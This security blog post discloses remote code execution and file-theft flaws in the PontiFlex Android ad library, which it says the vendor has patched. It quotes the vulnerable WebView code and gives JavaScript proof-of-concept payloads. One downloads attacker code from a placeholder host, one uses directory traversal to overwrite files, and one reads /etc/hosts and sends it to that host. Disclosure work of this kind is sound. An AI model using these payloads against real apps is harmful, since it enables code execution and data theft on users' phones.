Blog

PontiFlex Ad Library - Remote JavaScript Command Execution

Recently MWR have been conducting research into the attack surface that is introduced to mobile devices from mobile advertising libraries. Details of the research can be found here. During this research we have identified and published details on a number of serious vulnerabilities. More details can be found in the links below:

This post serves to detail the issues identified within the PontiFlex ad library. The library was found to dynamically update its HTML and JavaScript libraries at runtime as part of its self updating mechanism. The update process and this behaviour can be abused by an attacker to execute exposed managed code on the devices.

The ad library is embedded in many applications. According to the stats provided by AppBrain. At time of writing (November 28th 2013), there were 876,938 Android apps in the Google Play Store and the library was present in 1,666 applications (0.19% of all Android apps). The top apps that use the ad library have been downloaded and installed more than 61,000,000 times.

MWR notified Pontiflex of the issues, and received confirmation that they have been addressed in a patch that has been released to their customers. If you are using the Pontiflex Ad Network (and haven’t already done so), it is recommended that you update to the latest version to remediate this issue.

Looking for trouble

The package com.pontiflex.mobile.webview.sdk.activities was found to contain a method named setUpWebview. This method initialises a number of JavaScript interfaces via the addJavaScriptInterface method.

  protected WebView setUpWebview() {
    WebView webView = new WebView(this);
    webView.getSettings().setJavaScriptEnabled(true);
    setContentView(webView);
    initializeWebSettings(webView);
    this.jsStorageInterface = new PflexStorageJSInterface(this, webView);
    webView.addJavascriptInterface(new PflexJSInterface(this, webView), "Activity");
    webView.addJavascriptInterface(new PflexVersionJSInterface(this), "ActivityVersionHelper");
    webView.addJavascriptInterface(new PflexDeviceJSInterface(this), "ActivityDevice");
    webView.addJavascriptInterface(this.jsStorageInterface, "ActivityStorage");
    this.resourceInterface = new PflexResourceJSInterface(this);
    webView.addJavascriptInterface(this.resourceInterface, "ResourceUpdate");
    webView.setWebViewClient(new PflexWebViewClient(this));
    webView.setWebChromeClient(new PflexWebChromeClient(this));
    webView.setBackgroundColor(0);
    return webView;
  }

See the following post for more details of the insecurities of this method https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-execution.

JavaScript Code Execution

When injected into an advert loaded by the application, the following Proof of Concept will result in HTML and JavaScript code of the attacker’s choosing being downloaded and executed.

var url = "http://xx.xx.xx.xx:8081/js-client.zip";
var hash = "dcedf2bb795b55f7301d22e4687b64f6"; // MD5 hash of the js-client.zip file
var resourcePath = "pflx_res/js-client.zip"; // where to write the file - /data/data/<app>/files/pflx_res/js-client.zip
var resourceOldPath = "pflx_res_old/js-client.zip"; // where to place the code being replaced - /data/data/<app>/files/pflx_res_old/js-client.zip
var resourceTempPath = "pflx_res_tmp/js-client.zip"; // where to place the file before it is unpacked - /data/data/<app>/files/pflx_res_tmp/js-client.zip
var headers = '{"mwr":"r00t"}'; // JSON headers
var extract = "true"; // whether to unpack the archive - Boolean.valueOf(extract)
var resourceKey = "js-client.zip"; // filename
var newVersionCode = "13.0.19"; // version string

PFLEX.NativeResource.updateResource(url, hash, resourcePath, resourceOldPath, resourceTempPath, headers, extract, resourceKey, newVersionCode);

The ‘resource path’ variables are vulnerable to directory traversal allowing the contents of the file system to be overwritten with arbitrary data, subject to application and file system permissions.

var url = "http://xx.xx.xx.xx:8081/js-client.zip"; // location to download the update from
var hash = "dcedf2bb795b55f7301d22e4687b64f6"; // MD5
var resourcePath = "pflx_res/js-client.zip"; // /data/data/com.pontiflex.mobile.webview.demo/files/pflx_res/js-client.zip
var resourceOldPath = "pflx_res_old/js-client.zip";
var resourceTempPath = "../../../../../../../../../../../../../../../mnt/sdcard/js-client.zip";
var headers = '{"js-client.zip":"js-client.zip"}'; //JSON headers
var extract = "true"; //Boolean.valueOf(extract)
var resourceKey = "js-client.zip";
var newVersionCode = "13.0.19";

cb(PFLEX.NativeResource.updateResource(url, hash, resourcePath, resourceOldPath, resourceTempPath, headers, extract, resourceKey, newVersionCode));

Stealing Files

It is also possible to read the content of arbitrary files, subject to application and file system permissions. The code below serves a PoC (Proof of Concept) to read the file /etc/hosts:

function cb(r){
	x = new XMLHttpRequest;
	x.open("get","http://xx.xx.xx.xx:8081/"+r);
	x.send();
}

cb(PFLEX.NativeResource.getResourceContent("../../../../../../../../../../../etc/hosts", false,""));